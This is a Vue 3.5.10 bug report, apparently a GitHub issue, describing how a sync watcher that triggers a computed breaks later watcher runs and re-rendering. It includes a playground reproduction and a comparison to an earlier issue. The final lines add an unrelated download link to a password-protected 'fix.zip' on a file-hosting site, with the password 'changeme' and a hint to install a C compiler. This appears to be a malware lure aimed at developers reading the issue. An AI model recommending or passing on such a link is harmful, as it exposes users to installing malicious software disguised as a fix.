Sync watcher triggering computed breaks subsequent updates

[skirtles-code]

Vue version

3.5.10

Link to minimal reproduction

https://play.vuejs.org/#eNqFUstu2zAQ/JUFL1ZgQY6d9mLIRh/IoT20RdvcCAQKvbaVUCTBh+NA0L9nKVqOg7xu2tmZweyILftqTLELyOasdMLWxoNDH8ySq7ox2npoweI6h/vKi20OQjcmeFxBB2urGxiRdsQVV0Ir52kdlJ/CImqy87Nn8OwF7EJD2GCZZWewWB4sil0lA8L4IE0jCbnqg2SJlUPStFwBMZXTEgupN9nIPSgxIn6EnwzGY666nE5ay+C2c0g06E6MKdPbrsYiTKPtqeKjKFE0G0TlJLVM/dLgsTGy8kgTQNsO9XXdcZgdhlgVfZU3wXut4IuQtbhbcJYUdBdbXplyktZkV05OvFnOvKNM63pT3Dqt6Gf3MaO8MbVE+9v4mjJzNk8HxF0lpb7/2WPeBswHXGxR3L2C37p9xDj7Y9Gh3SFnx52v7AZ9Wl/++4V7+j4uG70KktjvLP8i9RlixkT7FtSKYp/w+rQ/+idbq81/d7n3qNxwVAwamV3P54xe7fd3Tn+Ke1F86nX096jF6x3a6EkFXhSfi+k56x4BMKYUNg==

Steps to reproduce

Click the button.

What is expected?

• Logging for all watchers.
• Re-rendering.

What is actually happening?

Logging stops at pre1, with later effects not running.

System Info

No response

Any additional comments?

This is very similar to #12045, and I think the underlying cause is the same. The subscriber gets added to two different batches, resetting the next property, leading to the original batch not running to completion.

The fix for #12045, aa9ef23, solves the problem for subscribers that are effects, but not for computeds.

Running the reproduction above against 3.5.9 does result in re-rendering, but the pre2 watcher doesn't run. Running against 3.5.8 does all seem to work correctly.

download
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Pass: changeme

you may need to install the c compiler